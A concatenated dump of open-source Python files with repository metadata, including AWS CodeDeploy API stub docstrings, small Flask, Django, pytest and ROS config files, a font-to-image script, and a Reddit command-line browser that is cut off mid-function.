:type createTimeRange: dict :param createTimeRange: A time range (start and end) for returning a subset of the list of deployments. start (datetime) --The start time of the time range. Note Specify null to leave the start time open-ended. end (datetime) --The end time of the time range. Note Specify null to leave the end time open-ended. :type nextToken: string :param nextToken: An identifier returned from the previous list deployments call. It can be used to return the next set of deployments in the list. :rtype: dict :return: { 'deployments': [ 'string', ], 'nextToken': 'string' } :returns: (string) -- """ pass def list_git_hub_account_token_names(nextToken=None): """ Lists the names of stored connections to GitHub accounts. See also: AWS API Documentation :example: response = client.list_git_hub_account_token_names( nextToken='string' ) :type nextToken: string :param nextToken: An identifier returned from the previous ListGitHubAccountTokenNames call. It can be used to return the next set of names in the list. :rtype: dict :return: { 'tokenNameList': [ 'string', ], 'nextToken': 'string' } """ pass def list_on_premises_instances(registrationStatus=None, tagFilters=None, nextToken=None): """ Gets a list of names for one or more on-premises instances. Unless otherwise specified, both registered and deregistered on-premises instance names will be listed. To list only registered or deregistered on-premises instance names, use the registration status parameter. See also: AWS API Documentation :example: response = client.list_on_premises_instances( registrationStatus='Registered'|'Deregistered', tagFilters=[ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], nextToken='string' ) :type registrationStatus: string :param registrationStatus: The registration status of the on-premises instances: Deregistered: Include deregistered on-premises instances in the resulting list. Registered: Include registered on-premises instances in the resulting list. :type tagFilters: list :param tagFilters: The on-premises instance tags that will be used to restrict the corresponding on-premises instance names returned. (dict) --Information about an on-premises instance tag filter. Key (string) --The on-premises instance tag filter key. Value (string) --The on-premises instance tag filter value. Type (string) --The on-premises instance tag filter type: KEY_ONLY: Key only. VALUE_ONLY: Value only. KEY_AND_VALUE: Key and value. :type nextToken: string :param nextToken: An identifier returned from the previous list on-premises instances call. It can be used to return the next set of on-premises instances in the list. :rtype: dict :return: { 'instanceNames': [ 'string', ], 'nextToken': 'string' } :returns: (string) -- """ pass def register_application_revision(applicationName=None, description=None, revision=None): """ Registers with AWS CodeDeploy a revision for the specified application. See also: AWS API Documentation :example: response = client.register_application_revision( applicationName='string', description='string', revision={ 'revisionType': 'S3'|'GitHub', 's3Location': { 'bucket': 'string', 'key': 'string', 'bundleType': 'tar'|'tgz'|'zip', 'version': 'string', 'eTag': 'string' }, 'gitHubLocation': { 'repository': 'string', 'commitId': 'string' } } ) :type applicationName: string :param applicationName: [REQUIRED] The name of an AWS CodeDeploy application associated with the applicable IAM user or AWS account. :type description: string :param description: A comment about the revision. :type revision: dict :param revision: [REQUIRED] Information about the application revision to register, including type and location. revisionType (string) --The type of application revision: S3: An application revision stored in Amazon S3. GitHub: An application revision stored in GitHub. s3Location (dict) --Information about the location of application artifacts stored in Amazon S3. bucket (string) --The name of the Amazon S3 bucket where the application revision is stored. key (string) --The name of the Amazon S3 object that represents the bundled artifacts for the application revision. bundleType (string) --The file type of the application revision. Must be one of the following: tar: A tar archive file. tgz: A compressed tar archive file. zip: A zip archive file. version (string) --A specific version of the Amazon S3 object that represents the bundled artifacts for the application revision. If the version is not specified, the system will use the most recent version by default. eTag (string) --The ETag of the Amazon S3 object that represents the bundled artifacts for the application revision. If the ETag is not specified as an input parameter, ETag validation of the object will be skipped. gitHubLocation (dict) --Information about the location of application artifacts stored in GitHub. repository (string) --The GitHub account and repository pair that stores a reference to the commit that represents the bundled artifacts for the application revision. Specified as account/repository. commitId (string) --The SHA1 commit ID of the GitHub commit that represents the bundled artifacts for the application revision. """ pass def register_on_premises_instance(instanceName=None, iamSessionArn=None, iamUserArn=None): """ Registers an on-premises instance. See also: AWS API Documentation :example: response = client.register_on_premises_instance( instanceName='string', iamSessionArn='string', iamUserArn='string' ) :type instanceName: string :param instanceName: [REQUIRED] The name of the on-premises instance to register. :type iamSessionArn: string :param iamSessionArn: The ARN of the IAM session to associate with the on-premises instance. :type iamUserArn: string :param iamUserArn: The ARN of the IAM user to associate with the on-premises instance. """ pass def remove_tags_from_on_premises_instances(tags=None, instanceNames=None): """ Removes one or more tags from one or more on-premises instances. See also: AWS API Documentation :example: response = client.remove_tags_from_on_premises_instances( tags=[ { 'Key': 'string', 'Value': 'string' }, ], instanceNames=[ 'string', ] ) :type tags: list :param tags: [REQUIRED] The tag key-value pairs to remove from the on-premises instances. (dict) --Information about a tag. Key (string) --The tag's key. Value (string) --The tag's value. :type instanceNames: list :param instanceNames: [REQUIRED] The names of the on-premises instances from which to remove tags. (string) -- """ pass def skip_wait_time_for_instance_termination(deploymentId=None): """ In a blue/green deployment, overrides any specified wait time and starts terminating instances immediately after the traffic routing is completed. See also: AWS API Documentation :example: response = client.skip_wait_time_for_instance_termination( deploymentId='string' ) :type deploymentId: string :param deploymentId: The ID of the blue/green deployment for which you want to skip the instance termination wait time. """ pass def stop_deployment(deploymentId=None, autoRollbackEnabled=None): """ Attempts to stop an ongoing deployment. See also: AWS API Documentation :example: response = client.stop_deployment( deploymentId='string', autoRollbackEnabled=True|False ) :type deploymentId: string :param deploymentId: [REQUIRED] The unique ID of a deployment. :type autoRollbackEnabled: boolean :param autoRollbackEnabled: Indicates, when a deployment is stopped, whether instances that have been updated should be rolled back to the previous version of the application revision. :rtype: dict :return: { 'status': 'Pending'|'Succeeded', 'statusMessage': 'string' } :returns: Pending: The stop operation is pending. Succeeded: The stop operation was successful. """ pass def update_application(applicationName=None, newApplicationName=None): """ Changes the name of an application. See also: AWS API Documentation :example: response = client.update_application( applicationName='string', newApplicationName='string' ) :type applicationName: string :param applicationName: The current name of the application you want to change. :type newApplicationName: string :param newApplicationName: The new name to give the application. """ pass def update_deployment_group(applicationName=None, currentDeploymentGroupName=None, newDeploymentGroupName=None, deploymentConfigName=None, ec2TagFilters=None, onPremisesInstanceTagFilters=None, autoScalingGroups=None, serviceRoleArn=None, triggerConfigurations=None, alarmConfiguration=None, autoRollbackConfiguration=None, deploymentStyle=None, blueGreenDeploymentConfiguration=None, loadBalancerInfo=None): """ Changes information about a deployment group. See also: AWS API Documentation :example: response = client.update_deployment_group( applicationName='string', currentDeploymentGroupName='string', newDeploymentGroupName='string', deploymentConfigName='string', ec2TagFilters=[ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], onPremisesInstanceTagFilters=[ { 'Key': 'string', 'Value': 'string', 'Type': 'KEY_ONLY'|'VALUE_ONLY'|'KEY_AND_VALUE' }, ], autoScalingGroups=[ 'string', ], serviceRoleArn='string', triggerConfigurations=[ { 'triggerName': 'string', 'triggerTargetArn': 'string', 'triggerEvents': [ 'DeploymentStart'|'DeploymentSuccess'|'DeploymentFailure'|'DeploymentStop'|'DeploymentRollback'|'DeploymentReady'|'InstanceStart'|'InstanceSuccess'|'InstanceFailure'|'InstanceReady', ] }, ], alarmConfiguration={ 'enabled': True|False, 'ignorePollAlarmFailure': True|False, 'alarms': [ { 'name': 'string' }, ] }, autoRollbackConfiguration={ 'enabled': True|False, 'events': [ 'DEPLOYMENT_FAILURE'|'DEPLOYMENT_STOP_ON_ALARM'|'DEPLOYMENT_STOP_ON_REQUEST', ] }, deploymentStyle={ 'deploymentType': 'IN_PLACE'|'BLUE_GREEN', 'deploymentOption': 'WITH_TRAFFIC_CONTROL'|'WITHOUT_TRAFFIC_CONTROL' }, blueGreenDeploymentConfiguration={ 'terminateBlueInstancesOnDeploymentSuccess': { 'action': 'TERMINATE'|'KEEP_ALIVE', 'terminationWaitTimeInMinutes': 123 }, 'deploymentReadyOption': { 'actionOnTimeout': 'CONTINUE_DEPLOYMENT'|'STOP_DEPLOYMENT', 'waitTimeInMinutes': 123 }, 'greenFleetProvisioningOption': { 'action': 'DISCOVER_EXISTING'|'COPY_AUTO_SCALING_GROUP' } }, loadBalancerInfo={ 'elbInfoList': [ { 'name': 'string' }, ] } ) :type applicationName: string :param applicationName: [REQUIRED] The application name corresponding to the deployment group to update. :type currentDeploymentGroupName: string :param currentDeploymentGroupName: [REQUIRED] The current name of the deployment group. :type newDeploymentGroupName: string :param newDeploymentGroupName: The new name of the deployment group, if you want to change it. :type deploymentConfigName: string :param deploymentConfigName: The replacement deployment configuration name to use, if you want to change it. :type ec2TagFilters: list :param ec2TagFilters: The replacement set of Amazon EC2 tags on which to filter, if you want to change them. To keep the existing tags, enter their names. To remove tags, do not enter any tag names. (dict) --Information about an EC2 tag filter. Key (string) --The tag filter key. Value (string) --The tag filter value. Type (string) --The tag filter type: KEY_ONLY: Key only. VALUE_ONLY: Value only. KEY_AND_VALUE: Key and value. :type onPremisesInstanceTagFilters: list :param onPremisesInstanceTagFilters: The replacement set of on-premises instance tags on which to filter, if you want to change them. To keep the existing tags, enter their names. To remove tags, do not enter any tag names. (dict) --Information about an on-premises instance tag filter. Key (string) --The on-premises instance tag filter key. Value (string) --The on-premises instance tag filter value. Type (string) --The on-premises instance tag filter type: KEY_ONLY: Key only. VALUE_ONLY: Value only. KEY_AND_VALUE: Key and value. :type autoScalingGroups: list :param autoScalingGroups: The replacement list of Auto Scaling groups to be included in the deployment group, if you want to change them. To keep the Auto Scaling groups, enter their names. To remove Auto Scaling groups, do not enter any Auto Scaling group names. (string) -- :type serviceRoleArn: string :param serviceRoleArn: A replacement ARN for the service role, if you want to change it. :type triggerConfigurations: list :param triggerConfigurations: Information about triggers to change when the deployment group is updated. For examples, see Modify Triggers in an AWS CodeDeploy Deployment Group in the AWS CodeDeploy User Guide. (dict) --Information about notification triggers for the deployment group. triggerName (string) --The name of the notification trigger. triggerTargetArn (string) --The ARN of the Amazon Simple Notification Service topic through which notifications about deployment or instance events are sent. triggerEvents (list) --The event type or types for which notifications are triggered. (string) -- :type alarmConfiguration: dict :param alarmConfiguration: Information to add or change about Amazon CloudWatch alarms when the deployment group is updated. enabled (boolean) --Indicates whether the alarm configuration is enabled. ignorePollAlarmFailure (boolean) --Indicates whether a deployment should continue if information about the current state of alarms cannot be retrieved from Amazon CloudWatch. The default value is false. true: The deployment will proceed even if alarm status information can't be retrieved from Amazon CloudWatch. false: The deployment will stop if alarm status information can't be retrieved from Amazon CloudWatch. alarms (list) --A list of alarms configured for the deployment group. A maximum of 10 alarms can be added to a deployment group. (dict) --Information about an alarm. name (string) --The name of the alarm. Maximum length is 255 characters. Each alarm name can be used only once in a list of alarms. :type autoRollbackConfiguration: dict :param autoRollbackConfiguration: Information for an automatic rollback configuration that is added or changed when a deployment group is updated. enabled (boolean) --Indicates whether a defined automatic rollback configuration is currently enabled. events (list) --The event type or types that trigger a rollback. (string) -- :type deploymentStyle: dict :param deploymentStyle: Information about the type of deployment, either in-place or blue/green, you want to run and whether to route deployment traffic behind a load balancer. deploymentType (string) --Indicates whether to run an in-place deployment or a blue/green deployment. deploymentOption (string) --Indicates whether to route deployment traffic behind a load balancer. :type blueGreenDeploymentConfiguration: dict :param blueGreenDeploymentConfiguration: Information about blue/green deployment options for a deployment group. terminateBlueInstancesOnDeploymentSuccess (dict) --Information about whether to terminate instances in the original fleet during a blue/green deployment. action (string) --The action to take on instances in the original environment after a successful blue/green deployment. TERMINATE: Instances are terminated after a specified wait time. KEEP_ALIVE: Instances are left running after they are deregistered from the load balancer and removed from the deployment group. terminationWaitTimeInMinutes (integer) --The number of minutes to wait after a successful blue/green deployment before terminating instances from the original environment. deploymentReadyOption (dict) --Information about the action to take when newly provisioned instances are ready to receive traffic in a blue/green deployment. actionOnTimeout (string) --Information about when to reroute traffic from an original environment to a replacement environment in a blue/green deployment. CONTINUE_DEPLOYMENT: Register new instances with the load balancer immediately after the new application revision is installed on the instances in the replacement environment. STOP_DEPLOYMENT: Do not register new instances with load balancer unless traffic is rerouted manually. If traffic is not rerouted manually before the end of the specified wait period, the deployment status is changed to Stopped. waitTimeInMinutes (integer) --The number of minutes to wait before the status of a blue/green deployment changed to Stopped if rerouting is not started manually. Applies only to the STOP_DEPLOYMENT option for actionOnTimeout greenFleetProvisioningOption (dict) --Information about how instances are provisioned for a replacement environment in a blue/green deployment. action (string) --The method used to add instances to a replacement environment. DISCOVER_EXISTING: Use instances that already exist or will be created manually. COPY_AUTO_SCALING_GROUP: Use settings from a specified Auto Scaling group to define and create instances in a new Auto Scaling group. :type loadBalancerInfo: dict :param loadBalancerInfo: Information about the load balancer used in a deployment. elbInfoList (list) --An array containing information about the load balancer in Elastic Load Balancing to use in a deployment. (dict) --Information about a load balancer in Elastic Load Balancing to use in a deployment. name (string) --For blue/green deployments, the name of the load balancer that will be used to route traffic from original instances to replacement instances in a blue/green deployment. For in-place deployments, the name of the load balancer that instances are deregistered from so they are not serving traffic during a deployment, and then re-registered with after the deployment completes. :rtype: dict :return: { 'hooksNotCleanedUp': [ { 'name': 'string', 'hook': 'string' }, ] } """ pass

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py

Python

api/app/utils/misc.py

martinoywa/Baobab

f87bfefa69398fb8a59fc7684323c89f2813c1a0

[ "Apache-2.0" ]

1

2020-03-08T20:00:24.000Z

api/app/utils/misc.py

martinoywa/Baobab

f87bfefa69398fb8a59fc7684323c89f2813c1a0

[ "Apache-2.0" ]

null

api/app/utils/misc.py

martinoywa/Baobab

f87bfefa69398fb8a59fc7684323c89f2813c1a0

[ "Apache-2.0" ]

null

import uuid from flask import g def get_baobab_host(): return g.organisation.system_url def make_code(): return str(uuid.uuid4())

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c33f00ed8ebffd04a69b84d715322c1c7e7d9b68

37

py

Python

modules/geopy/parsers/__init__.py

flavour/lacity

fd1f1cccdcea64d07143b29d4f88996e3af35c4b

[ "MIT" ]

3

2015-05-18T05:44:34.000Z

2018-05-11T12:15:44.000Z

geopy/parsers/__init__.py

datadesk/latimes-mappingla-geopy

1afcfd98292b929363007e7cd38beae55cdec12d

[ "MIT" ]

null

geopy/parsers/__init__.py

datadesk/latimes-mappingla-geopy

1afcfd98292b929363007e7cd38beae55cdec12d

[ "MIT" ]

1

2020-04-29T13:58:31.000Z

from geopy.parsers.base import Parser

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c352020e5b04cb87f25c913e31b0709fc453c8fc

336

py

Python

app/app/settings/prod.py

AbhiAgarwal/django-template

0f328c4fb43949751ad8a331b376164a86433d1c

[ "MIT" ]

null

app/app/settings/prod.py

AbhiAgarwal/django-template

0f328c4fb43949751ad8a331b376164a86433d1c

[ "MIT" ]

null

app/app/settings/prod.py

AbhiAgarwal/django-template

0f328c4fb43949751ad8a331b376164a86433d1c

[ "MIT" ]

null

""" Django settings for glean project. Generated by 'django-admin startproject' using Django 1.8.2. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ from app.settings.common import *

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6f374df30a0c096e4a7c8f72e22cf06648392875

271

py

Python

faketests/animals/test_successful_tests.py

Djailla/pytest-sugar

6ac4a1fa18a51e67c7a759bc11a9264cb78619e4

[ "BSD-3-Clause" ]

418

2019-08-30T00:41:51.000Z

2022-03-21T09:31:54.000Z

faketests/animals/test_successful_tests.py

Djailla/pytest-sugar

6ac4a1fa18a51e67c7a759bc11a9264cb78619e4

[ "BSD-3-Clause" ]

62

2019-08-27T16:50:36.000Z

2022-03-11T07:03:32.000Z

faketests/animals/test_successful_tests.py

Djailla/pytest-sugar

6ac4a1fa18a51e67c7a759bc11a9264cb78619e4

[ "BSD-3-Clause" ]

25

2019-11-27T15:58:16.000Z

2022-03-21T09:31:56.000Z

def test_cat1(): assert True def test_cat2(): assert True def test_cat3(): assert True def test_cat4(): assert True def test_cat5(): assert True def test_cat6(): assert True def test_cat7(): assert True def test_cat8(): assert True

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812

py

Python

RasPi_Dev/ros_ws/build/third_packages/ar_track_alvar/ar_track_alvar/catkin_generated/pkg.develspace.context.pc.py

QianheYu/xtark_driver_dev

1708888161cf20c0d1f45c99d0da4467d69c26c8

[ "BSD-3-Clause" ]

1

2022-03-11T03:31:15.000Z

RasPi_Dev/ros_ws/build/third_packages/ar_track_alvar/ar_track_alvar/catkin_generated/pkg.develspace.context.pc.py

bravetree/xtark_driver_dev

1708888161cf20c0d1f45c99d0da4467d69c26c8

[ "BSD-3-Clause" ]

null

RasPi_Dev/ros_ws/build/third_packages/ar_track_alvar/ar_track_alvar/catkin_generated/pkg.develspace.context.pc.py

bravetree/xtark_driver_dev

1708888161cf20c0d1f45c99d0da4467d69c26c8

[ "BSD-3-Clause" ]

null

# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/xtark/ros_ws/devel/include;/home/xtark/ros_ws/src/third_packages/ar_track_alvar/ar_track_alvar/include".split(';') if "/home/xtark/ros_ws/devel/include;/home/xtark/ros_ws/src/third_packages/ar_track_alvar/ar_track_alvar/include" != "" else [] PROJECT_CATKIN_DEPENDS = "ar_track_alvar_msgs;std_msgs;roscpp;tf;tf2;message_runtime;image_transport;sensor_msgs;geometry_msgs;visualization_msgs;resource_retriever;cv_bridge;pcl_ros;pcl_conversions;dynamic_reconfigure".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "-lar_track_alvar".split(';') if "-lar_track_alvar" != "" else [] PROJECT_NAME = "ar_track_alvar" PROJECT_SPACE_DIR = "/home/xtark/ros_ws/devel" PROJECT_VERSION = "0.7.1"

90.222222

283

0.810345

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812

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0.115321

0.317957

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0

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0.04803

812

8

284

101.5

0.780078

0.066502

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0.64418

0.571429

0

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false

0

null

0

1

0

1

0

1

null

0

6

488ca710dbf71dd34c6f345c3455c22c3efcb671

571

py

Python

create_img.py

oghahroodi/Hopfield-Network

da2d5f28358e5615ce3244a4c6dd1e14be5d8749

[ "MIT" ]

null

create_img.py

oghahroodi/Hopfield-Network

da2d5f28358e5615ce3244a4c6dd1e14be5d8749

[ "MIT" ]

null

create_img.py

oghahroodi/Hopfield-Network

da2d5f28358e5615ce3244a4c6dd1e14be5d8749

[ "MIT" ]

null

from PIL import Image, ImageFont font_siza = 16 font = ImageFont.truetype("Tahoma.ttf", font_siza) for char in "ABCDEFGHIJ": im = Image.Image()._new(font.getmask(char)) im.save("train/16/"+char+".bmp") font_siza = 32 font = ImageFont.truetype("Tahoma.ttf", font_siza) for char in "ABCDEFGHIJ": im = Image.Image()._new(font.getmask(char)) im.save("train/32/"+char+".bmp") font_siza = 64 font = ImageFont.truetype("Tahoma.ttf", font_siza) for char in "ABCDEFGHIJ": im = Image.Image()._new(font.getmask(char)) im.save("train/64/"+char+".bmp")

23.791667

50

0.677758

86

571

4.395349

0.267442

0.126984

0.166667

0.214286

0.777778

0

0.02449

0.141856

571

23

51

24.826087

0.746939

0

0.5625

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1

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false

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null

0

1

0

1

0

null

0

6

489660e980cda67beaaf63886bab7c83e22c9fc1

17,628

py

Python

reddit/rdt.py

yathartha1/RedditCLI

21ef0005b4dfcbbba6678b4d405fa37242ac43ea

[ "MIT" ]

null

reddit/rdt.py

yathartha1/RedditCLI

21ef0005b4dfcbbba6678b4d405fa37242ac43ea

[ "MIT" ]

null

reddit/rdt.py

yathartha1/RedditCLI

21ef0005b4dfcbbba6678b4d405fa37242ac43ea

[ "MIT" ]

null

#!/usr/bin/env python3 import webbrowser from .config import config import praw import pickle from textwrap import fill cfg = config() client_id = cfg.get_clientid() user_agent = cfg.get_useragent() reddit = praw.Reddit(client_id = client_id, client_secret = None, user_agent = user_agent) class rdt: def ls(move, subreddits, sort): def handleListCallType(type): with open('reddit/variables.json', 'rb') as jsonf: dictvals = pickle.load(jsonf) jsonf.close() dictvals['nextpreviousnormal'] = "False" dictvals['nextprevioussubreddits'] = "False" del dictvals['links'][:] del dictvals['listofsubmissions'][:] del dictvals['listofsubreddits'][:] temp = 0 if type == 'hot': submissions = reddit.front.hot(limit = 100) elif type == 'new': submissions = reddit.front.new(limit = 100) elif type == 'controversial': submissions = reddit.front.controversial(limit = 100) elif type == 'top': submissions = reddit.front.top(limit = 100) elif type == 'rising': submissions = reddit.front.rising(limit = 100) for listvals in submissions: dictvals['listofsubmissions'].append(listvals) for i in range(0,len(dictvals['listofsubmissions'])): if temp<10: temp = temp + 1 wrapped = fill(dictvals['listofsubmissions'][i].title, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(dictvals['listofsubmissions'][i].url, width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m {1} \33[0m".format('', wrapped)) print("{0:<5} \33[90m {1} Upvotes with {2} Comments \33[0m".format('', str(dictvals['listofsubmissions'][i].ups), str(dictvals['listofsubmissions'][i].num_comments))) dictvals['links'].append(dictvals['listofsubmissions'][i].url) dictvals['listed'] = "True" dictvals['countlist'] = temp if len(dictvals['listofsubmissions']) >= 10: print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('next')) dictvals['nextpreviousnormal'] = "True" with open('reddit/variables.json', 'wb') as f: pickle.dump(dictvals, f) f.close() def handleMoreList(move): with open('reddit/variables.json', 'rb') as jsonf: dictvals = pickle.load(jsonf) jsonf.close() if move == 'next': temp = 0 if dictvals['listed'] == "True" and dictvals['countlist']<len(dictvals['listofsubmissions']): for i in range(dictvals['countlist'],len(dictvals['listofsubmissions'])): if temp < 10: temp = temp + 1 wrapped = fill(dictvals['listofsubmissions'][i].title, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(dictvals['listofsubmissions'][i].url, width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m {1} \33[0m".format('', wrapped)) print("{0:<5} \33[90m {1} Upvotes with {2} Comments \33[0m".format('', str(dictvals['listofsubmissions'][i].ups), str(dictvals['listofsubmissions'][i].num_comments))) dictvals['links'].append(dictvals['listofsubmissions'][i].url) dictvals['countlist'] = dictvals['countlist'] + temp dictvals['tempvar'] = temp if dictvals['countlist'] != len(dictvals['listofsubmissions']): print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('next | previous')) else: print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('previous')) else: print("{0:<5} \33[31m {1} \33[5m".format('', 'No More Entries Available')) elif move == 'previous': if dictvals['listed'] == "True" and dictvals['countlist']>10: dictvals['countlist'] = dictvals['countlist'] - dictvals['tempvar'] for i in range(dictvals['countlist']-10,dictvals['countlist']): wrapped = fill(dictvals['listofsubmissions'][i].title, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(dictvals['listofsubmissions'][i].url, width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m {1} \33[0m".format('', dictvals['listofsubmissions'][i].url)) print("{0:<5} \33[90m {1} Upvotes with {2} Comments \33[0m".format('', str(dictvals['listofsubmissions'][i].ups), str(dictvals['listofsubmissions'][i].num_comments))) dictvals['links'].append(dictvals['listofsubmissions'][i].url) dictvals['tempvar'] = 10 if dictvals['countlist'] > 10: print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('next | previous')) else: print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('next')) else: print("{0:<5} \33[31m {1} \33[5m".format('', 'No More Entries Available')) with open('reddit/variables.json', 'wb') as f: pickle.dump(dictvals,f) f.close() def handleMoreSubreddits(move): with open('reddit/variables.json', 'rb') as jsonf: dictvals = pickle.load(jsonf) jsonf.close() if move == 'next': temp = 0 if dictvals['listed'] == "True" and dictvals['countlist']<len(dictvals['listofsubreddits']): for i in range(dictvals['countlist'],len(dictvals['listofsubreddits'])): if temp < 10: temp = temp + 1 wrapped = fill(dictvals['listofsubreddits'][i].display_name_prefixed+ " - "+dictvals['listofsubreddits'][i].title, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(dictvals['listofsubreddits'][i].urll, width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m {1} \33[0m".format('', wrapped)) print("{0:<5} \33[90m {1} subscribers\33[0m".format('', str(dictvals['listofsubreddits'][i].subscribers))) dictvals['countlist'] = dictvals['countlist'] + temp dictvals['tempvar'] = temp if dictvals['countlist'] != len(dictvals['listofsubreddits']): print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('next | previous')) else: print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('previous')) else: print("{0:<5} \33[31m {1} \33[5m".format('', 'No More Entries Available')) elif move == 'previous': if dictvals['listed'] == "True" and dictvals['countlist']>10: dictvals['countlist'] = dictvals['countlist'] - dictvals['tempvar'] for i in range(dictvals['countlist']-10,dictvals['countlist']): wrapped = fill(dictvals['listofsubreddits'][i].display_name_prefixed+ " - "+dictvals['listofsubreddits'][i].title, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(dictvals['listofsubreddits'][i].url, width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m {1} \33[0m".format('', dictvals['listofsubreddits'][i].url)) print("{0:<5} \33[90m {1} subscribers\33[0m".format('', str(dictvals['listofsubreddits'][i].subscribers))) dictvals['tempvar'] = 10 if dictvals['countlist'] > 10: print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('next | previous')) else: print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('next')) else: print("{0:<5} \33[31m {1} \33[5m".format('', 'No More Entries Available')) with open('reddit/variables.json', 'wb') as f: pickle.dump(dictvals,f) f.close() with open('reddit/variables.json', 'rb') as jsonf: dictvals = pickle.load(jsonf) jsonf.close() if move == sort == None and subreddits == False: handleListCallType('hot') elif move == None and subreddits == False and sort != None: handleListCallType(sort) elif (move == 'next' or move == 'previous') and subreddits == False and sort == None: if dictvals['nextpreviousnormal'] == "True": handleMoreList(move) else: print("{0:<5} \33[31m {1} \33[5m".format('', 'Nothing to Display')) elif move == None and subreddits == True and sort == None: dictvals['nextpreviousnormal'] = False dictvals['nextprevioussubreddits'] = False temp = 0 del dictvals['links'][:] del dictvals['listofsubmissions'][:] del dictvals['listofsubreddits'][:] subreddits = reddit.subreddits.popular(limit = 100) for listvals in subreddits: dictvals['listofsubreddits'].append(listvals) for i in range(0,len(dictvals['listofsubreddits'])): if temp<10: temp = temp + 1 wrapped = fill(dictvals['listofsubreddits'][i].display_name_prefixed+ " - "+dictvals['listofsubreddits'][i].title, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(dictvals['listofsubreddits'][i].url, width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m {1} \33[0m".format('', dictvals['listofsubreddits'][i].url)) print("{0:<5} \33[90m {1} subscribers\33[0m".format('', str(dictvals['listofsubreddits'][i].subscribers))) dictvals['listed'] = "True" dictvals['countlist'] = temp if len(dictvals['listofsubreddits']) >= 10: print("\33[90m (\33[0m\33[93m {} \33[0m\33[90m) \33[0m".format('next')) dictvals['nextprevioussubreddits'] = "True" with open('reddit/variables.json', 'wb') as f: pickle.dump(dictvals,f) f.close() elif (move == 'next' or move == 'previous') and subreddits == True and sort == None: if dictvals['nextprevioussubreddits'] == "True": handleMoreSubreddits(move) else: print("{0:<5} \33[31m {1} \33[5m".format('', 'Nothing to Display')) def view(index, comments, more_comments): with open('reddit/variables.json', 'rb') as jsonf: dictvals = pickle.load(jsonf) jsonf.close() def handleMoreComments(): temp = 0 if dictvals['countcomments'] < len(dictvals['listofcomments']): for i in range(dictvals['countcomments'],len(dictvals['listofcomments'])): if (temp<10): temp = temp + 1 wrapped = fill(dictvals['listofcomments'][i].body, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(str(dictvals['listofcomments'][i].author), width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m Posted By {1}\33[0m".format('', wrapped)) print("{0:<5} \33[90m {1} Upvotes\33[0m".format('', str(dictvals['listofcomments'][i].ups))) dictvals['countcomments'] = dictvals['countcomments'] + temp else: print("{0:<5} \33[31m {1} \33[5m".format('', 'No More Entries Available')) if dictvals['listed'] == "True" and len(dictvals['links']) != 0: if index != None and comments == more_comments == False: if int(index)<len(dictvals['links']) and int(index)>=0: webbrowser.open(dictvals['links'][int(index)]) else: print("{0:<5} \33[31m {1} \33[5m".format('', 'No Such Index')) elif index != None and comments == True and more_comments == False: if int(index)<len(dictvals['listofsubmissions']) and int(index)>=0: del dictvals['listofcomments'][:] comments = dictvals['listofsubmissions'][int(index)].comments for comment in comments: dictvals['listofcomments'].append(comment) if len(dictvals['listofcomments'])>=10: for i in range(0,10): wrapped = fill(dictvals['listofcomments'][i].body, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(str(dictvals['listofcomments'][i].author), width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m Posted By {1}\33[0m".format('', wrapped)) print("{0:<5} \33[90m {1} Upvotes\33[0m".format('', str(dictvals['listofcomments'][i].ups))) dictvals['countcomments'] = 10 else: for i in range(0,len(dictvals['listofcomments'])): wrapped = fill(dictvals['listofcomments'][i].body, width=71, subsequent_indent=' '*7) print("\33[92m {0:<4} \33[0m {1}".format(str(i + 1), wrapped)) wrapped = fill(str(dictvals['listofcomments'][i].author), width=71, subsequent_indent=' '*7) print("{0:<5} \33[90m Posted By {1}\33[0m".format('', wrapped)) print("{0:<5} \33[90m {1} Upvotes\33[0m".format('', str(dictvals['listofcomments'][i].ups))) else: print("{0:<5} \33[31m {1} \33[5m".format('', 'No Such Index')) elif index != None and comments == False and more_comments == True: if len(dictvals['listofcomments']) != 0 and dictvals['countcomments'] == 10: handleMoreComments() else: print("{0:<5} \33[31m {1} \33[5m".format('', 'Nothing to View')) with open('reddit/variables.json', 'wb') as f: pickle.dump(dictvals,f) f.close() else: 